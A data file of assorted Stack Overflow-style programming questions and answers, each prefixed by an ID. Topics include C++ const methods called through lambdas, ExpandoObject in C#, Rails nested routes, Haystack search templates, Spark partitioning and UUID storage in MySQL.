27536812	0	const-correctness in void methods and lambda 'trick' <p>I have a method that accepts a reference of an object as const, this method doesn't change anything of the method and the const indicates that, the thing is that this method also calls other method that is within the class and is void, doesn't accept any argument and is also virtual, meaning that the class that extends the base class can override the method BUT it needs to be const as well. Eg:</p> <pre><code>#include &lt;iostream&gt; class Boz { public: virtual void introduce() const = 0; }; class Foo { public: virtual void callable() const { // ... } void caller(const Boz&amp; object) const { callable(); object.introduce(); } }; class Bar : public Boz { public: void introduce() const { std::cout &lt;&lt; "Hi." &lt;&lt; std::endl; } }; class Biz : public Foo { public: void callable() const { std::cout &lt;&lt; "I'm being called before the introduce." &lt;&lt; std::endl; } }; int main(void) { Biz biz; biz.caller(Bar()); return 0; } </code></pre> <p>The output would be:</p> <pre><code>I'm being called before the introduce. Hi. </code></pre> <p>As you can see <code>callable</code> must to be const in order to be called. If I change and do this:</p> <pre><code>class Biz : public Foo { public: void callable() { std::cout &lt;&lt; "I'm being called before the introduce." &lt;&lt; std::endl; } }; </code></pre> <p>It will compile not errors are thrown but the callable method won't be called, but the virtual one as it's defined as const. It's quite obvious.</p> <p>The trickiest part here:</p> <pre><code>class Foo { public: virtual void callable() { // ... } void caller(const Boz&amp; object) const { auto trick = [&amp;] () { callable(); }; trick(); object.introduce(); } }; class Biz : public Foo { public: void callable() { std::cout &lt;&lt; "I'm being called before the introduce." &lt;&lt; std::endl; } }; </code></pre> <p>It works and the <code>callable</code> method is called. No errors like <code>passing 'const ...' as 'this' argument</code>.</p> <p>What I'm trying to do is to call <code>callable</code> without the need of being const and the reason is simple: The method doesn't change anything, he don't have access to the object that is begin passed as argument on <code>caller</code> method then we assume that he doesn't have the need to be <code>const</code> but the compiler throws an error even that way. The real problem is that <code>callable</code> is virtual and classes can extend the base class, implement their own <code>callable</code> and try to call other methods but can't if it's not <code>const</code> as well.</p> <p>What I want is pretty much that, is to know how can I call the virtual method without the need of being const (the reason is pretty much that, I'm kind forcing the users that extends the class and override the <code>callable</code> method to only call <code>const</code> methods and this is not what I want) and of course understand what happens with the lambda and why it works.</p>
20598227	0	Class Method NullPointerException <p>I have an</p> <pre><code>public abstract class Entity { public Entity() {} public void update() { this.x = 0; this.y = 0; } } </code></pre> <p>then I have a </p> <pre><code>public class Player Extends Entity { /* Class Definition */ } </code></pre> <p>when i call player.update</p> <p>I get a NullPointerException:</p> <pre><code>Exception in thread "main" java.lang.NullPointerException at MainFrame.Gui.&lt;init&gt;(Gui.java:29) at Start.main(Start.java:13) </code></pre>
22985582	0	Handling null XElements whilst parsing an XDocument <p>Is there a better way of doing something like this:</p> <pre><code>private XElement GetSafeElem(XElement elem, string key) { XElement safeElem = elem.Element(key); return safeElem ?? new XElement(key); } private string GetAttributeValue(XAttribute attrib) { return attrib == null ? "N/A" : attrib.Value; } var elem = GetSafeElem(elem, "hdhdhddh"); string foo = GetAttributeValue(e.Attribute("fkfkf")); //attribute now has a fallback value </code></pre> <p>When parsing elements/attribute values from an XML document? In some cases the element may not be found when doing something like:</p> <pre><code>string foo (string)elem.Element("fooelement").Attribute("fooattribute").Value </code></pre> <p>So an object reference error would occur (assuming the element/attribute aren't found). Same when trying to access the element value</p>
16866755	0	 <p>There's no need for another method: if your helper extends <code>Zend_View_Helper_Abstract</code> (and it probably does), you can just use its <code>$view</code> property...</p> <pre><code>$this-&gt;view-&gt;escape(...) </code></pre> <p>Otherwise you may implement your own <code>setView</code> method (as described <a href="http://framework.zend.com/manual/1.12/en/zend.view.helpers.html#zend.view.helpers.custom" rel="nofollow">here</a>), which will be called when the helper is instantiated. It usually operates on the same-named property.</p>
35234405	0	 <p>The solution was to modify the byte code in SWF files using FFDec, and remove the failing part from the main MovieClip's constructor.</p>
1663044	0	 <p>Since I wrote the MSDN article you are referring to, I guess I have to answer this one.</p> <p>First, I anticipated this question and that's why I wrote a blog post that shows a more or less real use case for ExpandoObject: <a href="http://blogs.msdn.com/csharpfaq/archive/2009/10/01/dynamic-in-c-4-0-introducing-the-expandoobject.aspx" rel="nofollow noreferrer">Dynamic in C# 4.0: Introducing the ExpandoObject</a>. </p> <p>Shortly, ExpandoObject can help you create complex hierarchical objects. For example, imagine that you have a dictionary within a dictionary:</p> <pre><code>Dictionary&lt;String, object&gt; dict = new Dictionary&lt;string, object&gt;(); Dictionary&lt;String, object&gt; address = new Dictionary&lt;string,object&gt;(); dict["Address"] = address; address["State"] = "WA"; Console.WriteLine(((Dictionary&lt;string,object&gt;)dict["Address"])["State"]); </code></pre> <p>The deeper is the hierarchy, the uglier is the code. With ExpandoObject it stays elegant and readable.</p> <pre><code>dynamic expando = new ExpandoObject(); expando.Address = new ExpandoObject(); expando.Address.State = "WA"; Console.WriteLine(expando.Address.State); </code></pre> <p>Second, as it was already pointed out, ExpandoObject implements INotifyPropertyChanged interface which gives you more control over properties than a dictionary.</p> <p>Finally, you can add events to ExpandoObject like here:</p> <pre><code>class Program { static void Main(string[] args) { dynamic d = new ExpandoObject(); // Initialize the event to null (meaning no handlers) d.MyEvent = null; // Add some handlers d.MyEvent += new EventHandler(OnMyEvent); d.MyEvent += new EventHandler(OnMyEvent2); // Fire the event EventHandler e = d.MyEvent; if (e != null) { e(d, new EventArgs()); } // We could also fire it with... // d.MyEvent(d, new EventArgs()); // ...if we knew for sure that the event is non-null. } static void OnMyEvent(object sender, EventArgs e) { Console.WriteLine("OnMyEvent fired by: {0}", sender); } static void OnMyEvent2(object sender, EventArgs e) { Console.WriteLine("OnMyEvent2 fired by: {0}", sender); } } </code></pre>
14804219	0	web.config prevents file downloadable or viewable <p>I am very new to ASP.net. I visited a website long time ago which I cannot remember the URL now. I wanted to open their CSS file to see the source, but once I clicked the error message says, "you don't have premission to act ........."</p> <p>Now I want to do the same thing to lock up my files. Even visitors could see the file name, but they are unable to open or download it.</p> <p>I wonder if it is possible to achieve on ASP.net or IIS7?</p> <p>Many thanks for suggestions.</p>
12456563	0	Disable audio recording notification while application is in background on iOS SDK 4.2+ <p>In my project, where we use <a href="http://www.pjsip.org/" rel="nofollow">pjsip2</a> to receive streaming audio from a shared server.</p> <p>The app is meant to only receive streaming audio, not record. However even though we have disabled the mic in out code we still get a notification of the app recording while it is in the background (top bar flashing red with text: " (recording)").</p> <p>How can I disable the recording notification while our app is running in the background?</p>
5771554	0	 <p>The <code>-1</code> is because integers start at 0, but our counting starts at 1.</p> <p>So, <code>2^32-1</code> is the <em>maximum value</em> for a 32-bit unsigned integer (32 binary digits). <code>2^32</code> is the <em>number of possible values</em>.</p> <p>To simplify why, look at decimal. <code>10^2-1</code> is the maximum value of a 2-digit decimal number (99). Because our intuitive human counting starts at 1, but integers are 0-based, <code>10^2</code> is the number of values (100).</p>
4576192	0	 <p>I don't see the problem immediately. A couple of things to consider:</p> <ul> <li>Add a constructor to B that calls super()</li> <li>You are adding the event listener to A, so A must be on the stage before the ENTER_FRAME event will occur</li> <li>You probably want to first use graphics.clear(), and then end with graphics.endFill()</li> </ul>
19881519	0	 <p>You can do next create new div with class wich will hold just part of menu which you want to select . For example </p> <pre><code> &lt;div class="menu"&gt; &lt;div class="select"&gt; &lt;ul&gt; &lt;li&gt;Home&lt;/li&gt; &lt;li&gt;Home1&lt;/li&gt; &lt;li&gt;Home2&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;div id="user-data"&gt; ..... &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Then your jquery will look like </p> <pre><code>$('.select ul li').click(function(){ .... // body )}; </code></pre>
40297651	0	 <p>Try storing it as bytes:</p> <pre><code>UUID uuid = UUID.randomUUID(); byte[] uuidBytes = new byte[16]; ByteBuffer.wrap(uuidBytes) .order(ByteOrder.BIG_ENDIAN) .putLong(uuid.getMostSignificantBits()) .putLong(uuid.getLeastSignificantBits()); con.createQuery("INSERT INTO TestTable(ID, Name) VALUES(:id, :name)") .addParameter("id", uuidBytes) .addParameter("name", "test1").executeUpdate(); </code></pre> <p>A bit of an explanation: your table is using BINARY(16), so serializing UUID as its raw bytes is a really straightforward approach. UUIDs are essentially 128-bit ints with a few reserved bits, so this code writes it out as a big-endian 128-bit int. The ByteBuffer is just an easy way to turn two longs into a byte array.</p> <p>Now in practice, all the conversion effort and headaches won't be worth the 20 bytes you save per row.</p>
432280	0	 <p>I am a non-reading composer who has just "stuck with it" for so long that I've got a good handle on it now. I compose with the computer pretty much.</p> <p>You could get a simple midi sequencer, or a really nice one like the one in Propellorhead Reason (great composing tool), experiment on your own, or download free midi files of Bach and other classical composers, then you can see where the notes are on the keyboard in the midi sequencer. Plus, you can move them around to see what happens.</p> <p>A really good website for learning about voice leading and chord changes (progressions), is </p> <p><a href="http://www.musicnovatory.com/" rel="nofollow noreferrer">http://www.musicnovatory.com/</a></p> <p>It is not a very intuitive site to navigate. But, much can be learned their to help with making good sounding changes via voice leading and chord selection. Be patient and be very curious, that is, poke around a lot on the site, &amp; you'll find gems.</p> <p>Once you have some of that under your belt, get a decent book on counterpoint, and you'll be flyin' before you know it.</p>
36559781	0	 <p>Had the exact same "issue". In my case it had to do with the Windows 10 enlarged font and item size. </p> <p>Firefox takes this into account en shows everything 1.25 times enlarged when set to 125%. While chrome does not. </p> <p>So 14px in Firefox becomes: 17.5px on the monitor and in chrome it stays at 14px.</p>
39827465	0	 <p>The problem here is that <code>plot</code> needs a function that returns one value and not a vector.</p> <p>One workaround would be to loop over your <code>b</code> and <code>w</code> values one by one and redefine your <code>k</code> function as you go. I've also changed your <code>k</code> function as it wasn't defined for the default parameters.</p> <pre><code>k &lt;- function(b, w) { function(x){b*x+w} } plot2 &lt;- function(k, b, w) { plot(k(b[1], w[1])) for (i in 2:length(b)) { foo &lt;- k(b[i], w[i]) curve(foo, add = TRUE) } } plot2(k, b, w) </code></pre>
30017375	0	rails routing not going to controller as expected <p>I would like to get reviews for a specific user. I'm trying to hit </p> <pre><code>var reviews_url = '/users/' + profile_id + '/reviews.json'; </code></pre> <p>but it's not hitting <code>reviews#index</code> as seen in the logs</p> <pre><code>Started GET "/users/23/reviews.json" for ::1 at 2015-05-03 10:50:01 -0700 Processing by ApplicationController#index as JSON </code></pre> <p>What can I change to make this route hit <code>reviews#index</code>?</p> <p><code>routes.rb</code></p> <pre><code>resources :users do resources :reviews end </code></pre> <p><code>rake routes</code></p> <pre><code>GET /users/:user_id/reviews(.:format) reviews#index </code></pre> <p>EDIT TO ADD ROUTES</p> <pre><code>get 'auth/:provider/callback', to: 'sessions#create' root 'application#index' get '*path' =&gt; 'application#index' resources :users do resources :reviews resources :friendships end </code></pre> <p>Note: when I move <code>resources</code> above <code>get '*path' =&gt; 'application#index'</code> it works as expected. However I would like to have each call go through <code>application#index</code> (the app is a SPA that knows the current user based on the user in <code>application#index</code>). Maybe I should namespace these routes into <code>api</code>? </p>
5990048	0	 <p>What you say doesn't seem to match with the c3p0 docs. Namely it seems there is only a subset of c3p0 parameters that can be accessed through hibernate.cfg.xml. Everything else must be set through a separate c3p0.properties file. See <a href="http://www.mchange.com/projects/c3p0/index.html#hibernate-specific" rel="nofollow">http://www.mchange.com/projects/c3p0/index.html#hibernate-specific</a></p> <p><strong>Edit: It seems the c3p0 docs are completely wrong.</strong> If you do as they say (e.g. include an additional c3p0.properties file) it will be ignored. However, if you simply add the properties to the hibernate config file in the same fashion, it works fine. E.g. adding the following to hibernate.cfg.xml worked, where the prescribed method did not:</p> <pre><code>&lt;property name="hibernate.c3p0.acquireRetryAttempts"&gt;100&lt;/property&gt; &lt;property name="hibernate.c3p0.debugUnreturnedConnectionStackTraces"&gt;true&lt;/property&gt; &lt;property name="hibernate.c3p0.unreturnedConnectionTimeout"&gt;120&lt;/property&gt; &lt;property name="hibernate.c3p0.checkoutTimeout"&gt;30000&lt;/property&gt; </code></pre> <p>There's 2 hours of my life i won't get back. :-(</p>
18611301	0	 <p>Have you tried delaying the transition in css? Works for me</p>
137060	0	Too many "pattern suffixes" - design smell? <p>I just found myself creating a class called "InstructionBuilderFactoryMapFactory". That's 4 "pattern suffixes" on one class. It immediately reminded me of this:</p> <p><a href="http://www.jroller.com/landers/entry/the_design_pattern_facade_pattern" rel="nofollow noreferrer">http://www.jroller.com/landers/entry/the_design_pattern_facade_pattern</a></p> <p>Is this a design smell? Should I impose a limit on this number? </p> <p>I know some programmers have similar rules for other things (e.g. no more than N levels of pointer indirection in C.)</p> <p>All the classes seem necessary to me. I have a (fixed) map from strings to factories - something I do all the time. The list is getting long and I want to move it out of the constructor of the class that uses the builders (that are created by the factories that are obtained from the map...) And as usual I'm avoiding Singletons.</p>
20840817	0	 <pre><code>[super viewDidLoad]; // Do any additional setup after loading the view. UIButton *button = [UIButton buttonWithType:UIButtonTypeCustom]; [button setImage:[UIImage imageNamed:@"aButton"] forState:UIControlStateNormal]; [button setImage:[UIImage imageNamed:@"aButton"] forState:UIControlStateHighlighted]; [button setFrame:CGRectMake(100, 100, 300, 100)]; [self.view addSubview:button]; </code></pre> <p>And do not forget the extention "aButton.png" "aButton.jpg"... </p>
11839013	0	 <p>typedef is not a global variable, it's simply an alias for another type. I usually use them for function pointers when I'm passing those around because writing them out every time is annoying. </p> <p><code>typedef int (*function)(int, int);</code></p> <p>I also use them to define a structure, union, or enumeration as a type</p> <pre><code>typedef struct { int x; int y; int z; } Point; </code></pre>
20005336	0	 <p>I found the problem. I did a migration and primary keys were changed because of this field photo = models.OneToOneField(Photo,primary_key=True,blank=True). The <code>primary_key=True</code> was messing with the professeur.id </p>
7352080	0	php how to loop through a multi dimensional array <p>I am trying to create a dynamic navigation list that has a sublist for each of the items in the list</p> <p>I have 1 array that contains 12 parent category values and is a straightforward 1 dimensional array. </p> <p>I am looping through that with a foreach loop to make an unordered list</p> <p>The problem I am having is that I have an array of subcategories that is a multidimensional array and I need to create a nested list for each of the subcategories that belong to the parent category. </p> <pre><code>&lt;?php //mysql query to get the parent categories $query = "SELECT `parent` FROM `categories` GROUP BY `parent`"; $result = mysql_query($query); while ($row = mysql_fetch_assoc($result)) { $cat[] = $row['parent']; //define the parent categories as a variable }?&gt; &lt;div id="navigation"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="http://localhost/softwarereviews.com"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;?php //loop through the parent categories foreach ($cat as $parent) { //another query to get the child categories that belong to each parent category $query = "SELECT * FROM `categories` WHERE `parent` = '$parent'"; $result = mysql_query($query) or die(mysql_error()); while ($row = mysql_fetch_assoc($result)) { //need 2 results so create a multi - dimensional array $children[] = array($row['name'] =&gt; $row['cat_label']); }?&gt; &lt;li&gt;&lt;?php echo $parent; ?&gt;&lt;/li&gt; &lt;ul&gt; &lt;?php foreach ($children as $key =&gt; $value) { ?&gt; &lt;?php foreach ($value as $key =&gt; $value) { ?&gt; &lt;li&gt;&lt;a href="&lt;?php echo $value;?&gt;"&gt;&lt;?php echo $key;?&gt;&lt;/a&gt;&lt;li&gt; &lt;?php } }?&gt; &lt;/ul&gt; &lt;?php }?&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre> <p>What happens at the moment is that the sub list of each category keeps appending the previous lists results, making the each sub list results bigger and bigger.</p>
15560334	0	 <p>ah vb6 :) it's been a long time....</p> <p>basically, you can't debug .NET code within VB6 IDE.</p> <p>However, nothing stops you from creating a .NET test project to unit test the .NET dll. <em>And that's what you should have done prior to reference it in VB6.</em></p> <p>If you need to track down a specific issue, another way you can use is to write debugging infos to a file/database/event view/... when the dll is in debug mode, like which functions were called, parameters, stack trace... </p>
10059675	0	 <p>Just for debugging purposes, try setting the <code>backgroundColor</code> of <code>aLabel</code> and <code>aReflectionView</code> to see where they're being placed.</p> <pre><code>aLabel.backgroundColor = [UIColor redColor]; aReflectionView.backgroundColor = [UIColor blueColor]; </code></pre> <p>You should see that the <code>aReflectionView</code> is properly centered within its superview, but the <code>aLabel</code>, contained within it, is not. Why not? Because of this line:</p> <pre><code>UILabel *aLabel = [[UILabel alloc]initWithFrame:CGRectMake(((self.view.bounds.size.width / 2) - 150), 0, 300, 90)]; </code></pre> <p>Since <code>aLabel</code> is contained within <code>aReflectionView</code>, it should be centered within the <code>aReflectionView</code> bounds, not the bounds of <code>self.view</code>. Scroll right to see the change:</p> <pre><code>UILabel *aLabel = [[UILabel alloc]initWithFrame:CGRectMake(((aReflectionView.bounds.size.width / 2) - 150), 0, 300, 90)]; </code></pre> <p>For your purposes, it may be better to make <code>aLabel</code> simply fill <code>aReflectionView</code>:</p> <pre><code>UILabel *aLabel = [[UILabel alloc]initWithFrame:aReflectionView.bounds]; </code></pre>
32213813	0	 <p>It happened to me and I uninstalled python and all the packages. After that, it worked with magic.</p>
24253126	0	 <p>Your configuration is mostly correct. The problem you face is that you use autowiring to inject one of <code>callService</code> dependencies. </p> <p>Seems that you use <code>SqlSessionDaoSupport</code> and its sqlSessionTemplate field is autowired. There are two templates defined so spring cannot automatically wire dependencies. You need specify correct template manually.</p>
21619274	0	 <p>You declare your array</p> <pre><code>array[16] so array[0] .. array[15] </code></pre> <p>In the second for loop you have</p> <pre><code>when i = 16 array[16]! </code></pre> <p>valter</p>
29161726	0	 <p>you can use given query.</p> <pre><code>CREATE TABLE TABLE_NAME1 ( id BIGINT(20) NOT NULL AUTO_INCREMENT, Ctime DATETIME DEFAULT NULL, KEY id (id) ) ENGINE=INNODB AUTO_INCREMENT=286802795 DEFAULT CHARSET=utf8 PARTITION BY RANGE( TO_DAYS(Ctime) ) ( PARTITION p1 VALUES LESS THAN (TO_DAYS('2011-04-02')), PARTITION p2 VALUES LESS THAN (TO_DAYS('2011-04-03')), PARTITION p3 VALUES LESS THAN (TO_DAYS('2011-04-04')), PARTITION p4 VALUES LESS THAN (TO_DAYS('2011-04-05')), PARTITION p5 VALUES LESS THAN (TO_DAYS('2011-04-06')), PARTITION p6 VALUES LESS THAN (TO_DAYS('2011-04-07')) ); </code></pre>
9752233	0	 <p>create your own custom view, and use that. you can animate them in every way you like, using canvas you have given in onDraw() method. </p> <p>this may help: <a href="http://www.apleben.com/2011/01/custom-android-view-the-definition/" rel="nofollow">http://www.apleben.com/2011/01/custom-android-view-the-definition/</a></p>
35569853	0	 <p>We could use <code>data.table</code>. Convert the 'data.frame' to 'data.table' (<code>setDT(df1)</code>), create a new grouping variable by using <code>%/%</code> based on the values in 'A'. Then, grouped by 'A1', we get the <code>sum</code> of 'B' and also <code>paste</code> the <code>unique</code> elements in 'A' together. If not needed, the grouping variable 'A1' can be assigned to NULL.</p> <pre><code>library(data.table) setDT(df1)[, A1:= (A-1)%/%2 +1][, list(A= paste0("A",paste(unique(A), collapse="-")), B= sum(B)) ,A1][,A1:= NULL][] # A B #1: A1-2 4 #2: A3-4 9 </code></pre>
1827874	0	what does 'invalid gem format' mean? <p>Does this mean I've hosed my ruby/gem/rails environment somehow? I've been using InstantRails2-0 happily for awhile now, but recently decided to upgrade rails. It has been a major pain so far. First I had issues getting the latest gem version, rubygems-update couldn't get the latest. I was finally able to get the latest gem version by manually downloading it and running setup.rb for rubygems-1.3.5.</p> <p>When I do '<code>gem update rails</code>', I get the following error:</p> <p>invalid gem format forr C:/ruby/lib/ruby/gems/1.8/cache/activesupport-2.3.5.gem</p> <p>I tried manually downloading the activesupport gem and doing 'gem install local [path to gem]'. This appeared to work, so I did the same with rails 2.3.3.gem, but then got the same invalid gem format error, but for activerecord-2.3.3.gem.</p> <p>My gem version is 1.3.5. Current rails version is ....not working anymore because of RubyGem version error: activesupport(2.1.1 not = 2.0.2)</p>
38182509	0	APC cache usage <p>I have to use APC cache just for opcode caching. so is it enough to just enable it from php.ini file with setting variable apc.stat to 'false'? I am already using memcache for object caching. do I need to use APC cache functions like apc_add, apc_fetch etc?</p>
17692629	0	 <p>Here is the User class you may need, modify it as per your need:</p> <pre><code>public class User { private int id; private String Name; private String email; private String mobile; private String password; private String role; private String status; private String last_update; public String getName() { return Name; } public void setName(String name) { Name = name; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getMobile() { return mobile; } public void setMobile(String mobile) { this.mobile = mobile; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getRole() { return role; } public void setRole(String role) { this.role = role; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } public String getLast_update() { return last_update; } public void setLast_update(String last_update) { this.last_update = last_update; } public int getId() { return id; } public void setId(int id) { this.id = id; } @Override public String toString() { return "User [id=" + id + ", Name=" + Name + ", email=" + email + ", mobile=" + mobile + ", password=" + password + ", role=" + role + ", status=" + status + ", last_update=" + last_update + "]"; } } </code></pre> <p>Further in your JDBC code, you will need to create a collection of your User class objects and store the database results in it. Something like this:</p> <pre><code>List&lt;User&gt; usersList = new ArrayList&lt;User&gt;(); while (resultSet.next()) { User user = new User(); user.setId(resultSet.getInt("id")); user.setName(resultSet.getString("name")); user.setEmail(resultSet.getString("email")); user.setMobile(resultSet.getString("mobile")); user.setPassword(resultSet.getString("password")); user.setRole(resultSet.getString("role")); user.setStatus(resultSet.getString("status")); user.setLast_udpate(resultSet.getString("last_update")); // print the results System.out.println(user); usersList.add(user); } </code></pre>
34475728	0	Include Haystack search on all pages <p>Ok I know this question has been asked before, I looked at the answers and (think) I am doing exactly what is supposed to be done, but the search box is only appearing on the 'search' page and not any other page. I have a base.html that I use to extend to all other pages, can anyone help out on this? (FYI, I did try having the form in base.html instead of search.html but that did not work either)</p> <p>Base.html</p> <pre><code>{% load staticfiles %} &lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt; &lt;title&gt;Search&lt;/title&gt; &lt;link href="{% static 'css/bootstrap3.min.css' %}" rel="stylesheet"&gt; &lt;link href="{% static 'css/main.css' %}" rel="stylesheet"&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;header class="clearfix"&gt; {% include 'navbar.html' %} &lt;h3 class="text-muted"&gt;My site&lt;/h3&gt; &lt;/header&gt; &lt;hr&gt; {% block content %}{% endblock %} &lt;hr&gt; &lt;footer&gt; &lt;p class="text-muted"&gt;Copyright &amp;copy; 2015&lt;/p&gt; &lt;/footer&gt; &lt;/div&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="{% static 'js/bootstrap.min.js' %}"&gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Search.html</p> <pre><code>{% extends 'base.html' %} {% load staticfiles %} {% load widget_tweaks %} {% block content %} &lt;h2&gt;Search&lt;/h2&gt; &lt;form method="get" action="."&gt; &lt;div class="input-group"&gt; {% render_field form.q class+="form-control" type="search" %} &lt;span class="input-group-btn"&gt; &lt;button type="submit" class="btn btn-default"&gt;Search&lt;/button&gt; &lt;/span&gt; &lt;/div&gt; {% if query %} &lt;h3&gt;Results&lt;/h3&gt; {% for result in page.object_list %} &lt;div class="media"&gt; &lt;div class="media-left"&gt; &lt;img class="media-object" height="100" style="border: 1px solid #ccc;" src="{{ result.object.photo.url }}"&gt; &lt;/div&gt; &lt;div class="media-body"&gt; &lt;h4 class="media-heading"&gt;Supplier Part Code: &lt;strong&gt;{{ result.object.supplier_code }}&lt;/strong&gt;&lt;/h4&gt; &lt;h4&gt;Mfr Code: &lt;strong&gt;{{ result.object.part.code }}&lt;/strong&gt;&lt;/h4&gt; &lt;p&gt; &lt;strong&gt;Supplier&lt;/strong&gt; {{ result.object.supplier.name }} &lt;strong&gt;Price&lt;/strong&gt; {{ result.object.price }} &lt;strong&gt;Sale Price&lt;/strong&gt; {{ result.object.sale_price }} &lt;strong&gt;Available&lt;/strong&gt; {{ result.object.quantity }} &lt;a href="{{ result.object.url }}" target="_blank"&gt;Buy Now!&lt;/a&gt; &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; {% empty %} &lt;p&gt;No results found.&lt;/p&gt; {% endfor %} {% if page.has_previous or page.has_next %} &lt;div&gt; {% if page.has_previous %}&lt;a href="?q={{ query }}&amp;amp;page={{ page.previous_page_number }}"&gt;{% endif %}&amp;laquo; Previous{% if page.has_previous %}&lt;/a&gt;{% endif %} | {% if page.has_next %}&lt;a href="?q={{ query }}&amp;amp;page={{ page.next_page_number }}"&gt;{% endif %}Next &amp;raquo;{% if page.has_next %}&lt;/a&gt;{% endif %} &lt;/div&gt; {% endif %} {% else %} {# Show some example queries to run, maybe query syntax, something else? #} {% endif %} &lt;/form&gt; {% endblock %} </code></pre> <p>Manuals.html (No Search bar displays)</p> <pre><code>{% extends 'base.html' %} {% load staticfiles %} {% block content%} &lt;h1&gt;Hello and welcome to Manuals&lt;/h1&gt; {% endblock %} </code></pre> <p>URL patterns</p> <pre><code>url(r'^search/', include('haystack.urls')), url(r'^manuals/$', 'mysite.views.manuals', name='manuals'), </code></pre>
30047256	0	Mongodb, time difference between two checkpoints <p>I m actually developping an application using a Mongodb database. Actually, there's a system with "checkpoints", a user scan an NFC tag when he enters in a place, and scan this same tag to leave this place.</p> <p>So, in my database, I have something like :</p> <pre><code>{ "enterDate":"the-date-iso-string-formatted", "leaveDate":"the-date-iso-string-formatted" } </code></pre> <p>Actually, I need to detect what is the time between two different end point. I mean, how much time the user takes to travel from one place, to the next one.</p> <p>In fact it corresponds to the avg of all the </p> <blockquote> <p>endPoint[1].enterDate- endPoint[0].leaveDate</p> </blockquote> <p>What is the best way, or the quickest way to manage this ?</p> <p>Thanks for advance</p>
20133842	0	 <p>You can use the <code>unbackslash</code> function from <a href="https://metacpan.org/pod/String%3a%3aEscape">String::Escape</a> to do this:</p> <pre><code>use String::Escape qw( unbackslash ); my $str = 'Hello\r\nWorld\r\n'; print unbackslash($str); </code></pre>
936127	0	 <p>You'd want to assign a random value to the ID column, then sort by it and reassign the ID based on position in the sorted rows.</p>
37380972	0	Partition Spark DataFrame based on column <p>I'm trying to partition a Spark DataFrame based on the column "b" using groupByKey() but I end up having different groups in the same partition.</p> <p>Here is the Data Frame and the code I'm using:</p> <pre><code>df: +---+---+ | a| b| +---+---+ | 4| 2| | 5| 1| | 1| 4| | 2| 2| +---+---+ val partitions = df.map(x =&gt; x.getLong(1)).distinct().count().toInt val df2 = df.map(r =&gt; (r.getLong(1), r)).groupByKey(partitions) val gb = df2.mapPartitions(iterator =&gt; { val rows = iterator.toList println(rows) iterator }) The printed rows are: Partition 1: List((2,CompactBuffer([4,2], [2,2]))) Partition 2: List((4,CompactBuffer([1,4])), (1,CompactBuffer([5,1]))) </code></pre> <p>Groups 4 and 1 are in the same partition (2) and I would like to have them in separate partitions, do you know how to do that?</p> <pre><code>Desired output: Partition 1: List((2,CompactBuffer([4,2], [2,2]))) Partition 2: List((4,CompactBuffer([1,4]))) Partition 3: List((1,CompactBuffer([5,1]))) </code></pre> <p>P.S. To give you a bit of context, I'm doing this because I need to update rows in a DataFrame using data from all the other rows sharing the same value for a specific column. Therefore map() is not enough, I'm currently trying to use mapPartitions() where each partition would contain all the rows having a the same value for the specific column. Don't hesitate to tell me if you know a better way of doing this :)</p> <p>Thanks a lot!</p> <p>ClydeX</p>
33921523	0	 <p>If you want to adjust background image, then you should use ImageView as a First Child of FrameLayout or RelativeLayout and you can arrange the remaining controls as per your requirement in Second Child or remaining child.</p>
31221627	0	 <p>OK, this is not a python but a UNIX problem: </p> <p>A file is, by default, always created owned by the user of the creating process.</p> <p>As root, you can change your effective UID for such operation, and you can change the file ownership afterwards.</p> <p><code>cp</code> supports keeping the original owner: <code>cp -a</code> This might already solve your problem.</p> <p>Setting the UID in your python process is really trivial:</p> <pre><code>import os os.setuid(&lt;userid&gt;) </code></pre>
40790946	0	iOS set statusbar white, and hide in another ViewController <p>I need a white status bar for my main initial ViewController, but also be able to hide it in another ViewController. I can do one or the other, but not both at the same time. Any suggestions?</p> <p>I set it to white by setting </p> <blockquote> <p>View controller-based status bar appearance key to NO in the Info.plist</p> </blockquote> <pre><code>override func preferredStatusBarStyle() -&gt; UIStatusBarStyle { return .LightContent } </code></pre> <hr> <p>And to hide it (on another ViewController presented modally) I do,</p> <pre><code>override func prefersStatusBarHidden() -&gt; Bool { return statusBarHidden } </code></pre> <p><strong>however it won't hide unless</strong> I remove the key I previously added to the Info.plist, but if I remove the key, then the status bar goes back to black.</p> <hr> <p>EDIT-MY Solution: The View controller classes were not working in my case because I have the main view controller embedded in a navigation controller, my fix was to override the same methods but for the navigation controller instead of the view controller in question.</p> <pre><code>extension UINavigationController { public override func preferredStatusBarStyle() -&gt; UIStatusBarStyle { return .LightContent } } </code></pre>
5616186	0	 <p>If you want to cycle through the <code>$results</code> array, you should write </p> <p><code>foreach ($results as $key=&gt;$value)</code> </p> <p>rather than </p> <p><code>foreach ($results[0] as $key=&gt;$value)</code> </p> <p>unless <code>$results[0]</code> itself is an array, in which case <code>$results</code> would be a matrix (array of arrays).</p>
10622182	0	 <p>It looks like they're already names of variables in your workspace?</p> <pre><code>x &lt;- ls()[grep('^x\\d', ls())] </code></pre> <p>That might get you there if you don't have anything else that starts with an x and a number that you want to include.</p> <p>If they're text strings that you're pasting in or something then perhaps</p> <pre><code>x &lt;- scan() </code></pre> <p>(In general, your question was quite vague)</p>
20631085	0	 <p>It can return null for some older J2ME devices which might not have support for location (it will work for most recent J2ME devices too). It shouldn't return null for other cases e.g. iOS, Android, Windows Phone etc..</p>
25526913	0	 <p>Perhaps you should consider to filter out the lines before writing them into the excel-sheet. This way you get rid of the additional work of writing then reading again and deleting lines.</p> <p>So you would fetch your data (wherever it comes from), filter the list in c# (remove all items with the specific text in the columns) and write the clean list to excel in the end.</p>
26531727	0	 <p>I just found python-snappy on github and installed it via python. Not a permanent solution, but at least something.</p>
